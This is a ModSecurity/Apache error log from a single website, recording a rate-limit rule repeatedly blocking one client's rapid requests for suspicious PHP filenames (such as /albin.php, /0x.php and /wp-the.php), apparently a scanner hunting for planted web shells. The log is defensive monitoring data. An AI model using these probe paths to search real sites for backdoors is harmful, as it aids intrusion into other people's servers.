[Sun Apr 26 15:22:25.895037 2026] [:error] [pid 8385:tid 8430] [client 20.215.250.178:26879] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/albin.php"] [unique_id "ae29MTOy7_J84Wx3-oyyTQAAAEY"]
[Sun Apr 26 15:22:26.763116 2026] [:error] [pid 22572:tid 22602] [client 20.215.250.178:27345] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/0x.php"] [unique_id "ae29MtXOViWCFU-pZzDugQAAAVg"]
[Sun Apr 26 15:22:27.111441 2026] [:error] [pid 22572:tid 22581] [client 20.215.250.178:27430] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/albin.php"] [unique_id "ae29M9XOViWCFU-pZzDugwAAAUM"]
[Sun Apr 26 15:22:27.813776 2026] [:error] [pid 8491:tid 8523] [client 20.215.250.178:27863] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/0x.php"] [unique_id "ae29Myq7I7e6CJooQM3jSQAAANc"]
[Sun Apr 26 15:22:28.410595 2026] [:error] [pid 22573:tid 22625] [client 20.215.250.178:27366] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/albin.php"] [unique_id "ae29NHB3EmQlD4yKUt-4DAAAAZI"]
[Sun Apr 26 15:22:28.916176 2026] [:error] [pid 22573:tid 22609] [client 20.215.250.178:27921] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bgymj.php"] [unique_id "ae29NHB3EmQlD4yKUt-4DQAAAYM"]
[Sun Apr 26 15:22:30.027876 2026] [:error] [pid 16515:tid 16542] [client 20.215.250.178:27409] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "ae29NltDrUmgHSvpuLwZdgAAAlg"]
[Sun Apr 26 15:22:30.541028 2026] [:error] [pid 22573:tid 22619] [client 20.215.250.178:27920] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bgymj.php"] [unique_id "ae29NnB3EmQlD4yKUt-4EAAAAYw"]
[Sun Apr 26 15:22:32.326496 2026] [:error] [pid 16515:tid 16534] [client 20.215.250.178:27913] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bgymj.php"] [unique_id "ae29OFtDrUmgHSvpuLwZeAAAAlA"]
[Sun Apr 26 15:22:32.509958 2026] [:error] [pid 16515:tid 16532] [client 20.215.250.178:27895] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "ae29OFtDrUmgHSvpuLwZeQAAAk4"]
[Sun Apr 26 15:22:33.883893 2026] [:error] [pid 8491:tid 8501] [client 20.215.250.178:28420] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bgymj.php"] [unique_id "ae29OSq7I7e6CJooQM3jTQAAAMI"]
[Sun Apr 26 15:22:34.039498 2026] [:error] [pid 8390:tid 8458] [client 20.215.250.178:28373] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "ae29OoGPtFK_i9p5yxT8rQAAAIc"]
[Sun Apr 26 15:22:34.761977 2026] [:error] [pid 8385:tid 8426] [client 20.215.250.178:27905] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/100.php"] [unique_id "ae29OjOy7_J84Wx3-oyyTwAAAEI"]
[Sun Apr 26 15:22:35.794072 2026] [:error] [pid 16515:tid 16521] [client 20.215.250.178:27411] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "ae29O1tDrUmgHSvpuLwZewAAAkM"]
[Sun Apr 26 15:22:37.129880 2026] [:error] [pid 22573:tid 22607] [client 20.215.250.178:27404] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sa.php7"] [unique_id "ae29PXB3EmQlD4yKUt-4FAAAAYE"]
[Sun Apr 26 15:22:38.654701 2026] [:error] [pid 8491:tid 8508] [client 20.215.250.178:27394] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sa.php7"] [unique_id "ae29Piq7I7e6CJooQM3jTgAAAMk"]
[Sun Apr 26 15:22:39.262221 2026] [:error] [pid 22572:tid 22594] [client 20.215.250.178:27925] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/100.php"] [unique_id "ae29P9XOViWCFU-pZzDukQAAAVA"]
[Sun Apr 26 15:22:39.730674 2026] [:error] [pid 8491:tid 8503] [client 20.215.250.178:27872] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sa.php7"] [unique_id "ae29Pyq7I7e6CJooQM3jTwAAAMQ"]
[Sun Apr 26 15:22:40.691470 2026] [:error] [pid 22572:tid 22602] [client 20.215.250.178:26395] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/100.php"] [unique_id "ae29QNXOViWCFU-pZzDukwAAAVg"]
[Sun Apr 26 15:22:40.722457 2026] [:error] [pid 22572:tid 22586] [client 20.215.250.178:28430] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sa.php7"] [unique_id "ae29QNXOViWCFU-pZzDulAAAAUg"]
[Sun Apr 26 15:22:41.486699 2026] [:error] [pid 16574:tid 16606] [client 20.215.250.178:28380] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a7.php"] [unique_id "ae29QX5MsX8wRQr99nYfyAAAA0I"]
[Sun Apr 26 15:22:41.504122 2026] [:error] [pid 16515:tid 16535] [client 20.215.250.178:28423] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/100.php"] [unique_id "ae29QVtDrUmgHSvpuLwZfAAAAlE"]
[Sun Apr 26 15:22:42.390519 2026] [:error] [pid 8491:tid 8518] [client 20.215.250.178:28404] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a7.php"] [unique_id "ae29Qiq7I7e6CJooQM3jUgAAANM"]
[Sun Apr 26 15:22:42.562802 2026] [:error] [pid 8491:tid 8510] [client 20.215.250.178:28406] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bolt.php"] [unique_id "ae29Qiq7I7e6CJooQM3jUwAAAMs"]
[Sun Apr 26 15:22:43.120323 2026] [:error] [pid 8383:tid 8403] [client 20.215.250.178:28470] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bolt.php"] [unique_id "ae29Q9Fa2S3EsATMdWP1vAAAAAY"]
[Sun Apr 26 15:22:43.273559 2026] [:error] [pid 16515:tid 16528] [client 20.215.250.178:27912] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a7.php"] [unique_id "ae29Q1tDrUmgHSvpuLwZgQAAAko"]
[Sun Apr 26 15:22:43.735054 2026] [:error] [pid 8491:tid 8514] [client 20.215.250.178:27900] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bolt.php"] [unique_id "ae29Qyq7I7e6CJooQM3jVQAAAM8"]
[Sun Apr 26 15:22:43.862910 2026] [:error] [pid 8491:tid 8519] [client 20.215.250.178:28448] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a7.php"] [unique_id "ae29Qyq7I7e6CJooQM3jVgAAANQ"]
[Sun Apr 26 15:22:44.428778 2026] [:error] [pid 16515:tid 16527] [client 20.215.250.178:27910] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bolt.php"] [unique_id "ae29RFtDrUmgHSvpuLwZggAAAkk"]
[Sun Apr 26 15:22:44.638138 2026] [:error] [pid 16515:tid 16522] [client 20.215.250.178:28388] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp9.php"] [unique_id "ae29RFtDrUmgHSvpuLwZgwAAAkQ"]
[Sun Apr 26 15:22:45.157735 2026] [:error] [pid 8383:tid 8411] [client 20.215.250.178:28399] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/koiy.php"] [unique_id "ae29RdFa2S3EsATMdWP1vgAAAA4"]
[Sun Apr 26 15:22:45.401901 2026] [:error] [pid 8491:tid 8511] [client 20.215.250.178:27877] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp9.php"] [unique_id "ae29RSq7I7e6CJooQM3jWAAAAMw"]
[Sun Apr 26 15:22:46.049076 2026] [:error] [pid 8491:tid 8515] [client 20.215.250.178:27933] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp9.php"] [unique_id "ae29Riq7I7e6CJooQM3jWgAAANA"]
[Sun Apr 26 15:22:46.089223 2026] [:error] [pid 22572:tid 22590] [client 20.215.250.178:25795] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/koiy.php"] [unique_id "ae29RtXOViWCFU-pZzDulwAAAUw"]
[Sun Apr 26 15:22:46.792980 2026] [:error] [pid 22573:tid 22609] [client 20.215.250.178:27893] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/koiy.php"] [unique_id "ae29RnB3EmQlD4yKUt-4FwAAAYM"]
[Sun Apr 26 15:22:47.166415 2026] [:error] [pid 8491:tid 8509] [client 20.215.250.178:27880] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp9.php"] [unique_id "ae29Ryq7I7e6CJooQM3jXAAAAMo"]
[Sun Apr 26 15:22:48.436409 2026] [:error] [pid 8491:tid 8501] [client 20.215.250.178:27903] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/koiy.php"] [unique_id "ae29SCq7I7e6CJooQM3jXgAAAMI"]
[Sun Apr 26 15:22:48.859563 2026] [:error] [pid 22572:tid 22601] [client 20.215.250.178:28445] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bthil.php"] [unique_id "ae29SNXOViWCFU-pZzDumAAAAVc"]
[Sun Apr 26 15:22:49.681739 2026] [:error] [pid 8390:tid 8459] [client 20.215.250.178:28418] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/albin.php"] [unique_id "ae29SYGPtFK_i9p5yxT8sAAAAIg"]
[Sun Apr 26 15:22:49.980353 2026] [:error] [pid 8390:tid 8470] [client 20.215.250.178:26923] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bthil.php"] [unique_id "ae29SYGPtFK_i9p5yxT8sQAAAJM"]
[Sun Apr 26 15:22:50.873030 2026] [:error] [pid 22572:tid 22589] [client 20.215.250.178:27882] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/albin.php"] [unique_id "ae29StXOViWCFU-pZzDumwAAAUs"]
[Sun Apr 26 15:22:51.026448 2026] [:error] [pid 8385:tid 8434] [client 20.215.250.178:27901] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bthil.php"] [unique_id "ae29SzOy7_J84Wx3-oyyVQAAAEo"]
[Sun Apr 26 15:22:51.613402 2026] [:error] [pid 16515:tid 16540] [client 20.215.250.178:28477] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/albin.php"] [unique_id "ae29S1tDrUmgHSvpuLwZiQAAAlY"]
[Sun Apr 26 15:22:51.696509 2026] [:error] [pid 8390:tid 8452] [client 20.215.250.178:27881] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bthil.php"] [unique_id "ae29S4GPtFK_i9p5yxT8sgAAAIE"]
[Sun Apr 26 15:22:52.182195 2026] [:error] [pid 22573:tid 22619] [client 20.215.250.178:26835] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/albin.php"] [unique_id "ae29THB3EmQlD4yKUt-4GQAAAYw"]
[Sun Apr 26 15:22:52.541044 2026] [:error] [pid 16574:tid 16608] [client 20.215.250.178:27385] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp5.php"] [unique_id "ae29TH5MsX8wRQr99nYfzAAAA0Q"]
[Sun Apr 26 15:22:52.760900 2026] [:error] [pid 8390:tid 8472] [client 20.215.250.178:27374] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "ae29TIGPtFK_i9p5yxT8tAAAAJU"]
[Sun Apr 26 15:22:53.163497 2026] [:error] [pid 16515:tid 16524] [client 20.215.250.178:28391] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp5.php"] [unique_id "ae29TVtDrUmgHSvpuLwZiwAAAkY"]
[Sun Apr 26 15:22:53.299328 2026] [:error] [pid 16515:tid 16520] [client 20.215.250.178:27849] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "ae29TVtDrUmgHSvpuLwZjQAAAkI"]
[Sun Apr 26 15:22:53.719523 2026] [:error] [pid 16515:tid 16529] [client 20.215.250.178:27938] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp5.php"] [unique_id "ae29TVtDrUmgHSvpuLwZjgAAAks"]
[Sun Apr 26 15:22:53.836829 2026] [:error] [pid 8383:tid 8418] [client 20.215.250.178:25430] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "ae29TdFa2S3EsATMdWP1wgAAABU"]
[Sun Apr 26 15:22:54.289737 2026] [:error] [pid 13137:tid 13160] [client 20.215.250.178:26330] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp5.php"] [unique_id "ae29Tt0RB4J0o4h5neFGyAAAAhM"]
[Sun Apr 26 15:22:54.413876 2026] [:error] [pid 13137:tid 13144] [client 20.215.250.178:28465] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "ae29Tt0RB4J0o4h5neFGyQAAAgQ"]
[Sun Apr 26 15:22:55.152528 2026] [:error] [pid 22572:tid 22578] [client 20.215.250.178:28473] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sa.php7"] [unique_id "ae29T9XOViWCFU-pZzDungAAAUA"]
[Sun Apr 26 15:22:55.501139 2026] [:error] [pid 13137:tid 13158] [client 20.215.250.178:28474] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yuzuru1.php"] [unique_id "ae29T90RB4J0o4h5neFGywAAAhE"]
[Sun Apr 26 15:22:55.998321 2026] [:error] [pid 13137:tid 13141] [client 20.215.250.178:27861] [client 20.215.250.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sa.php7"] [unique_id "ae29T90RB4J0o4h5neFGzAAAAgE"]
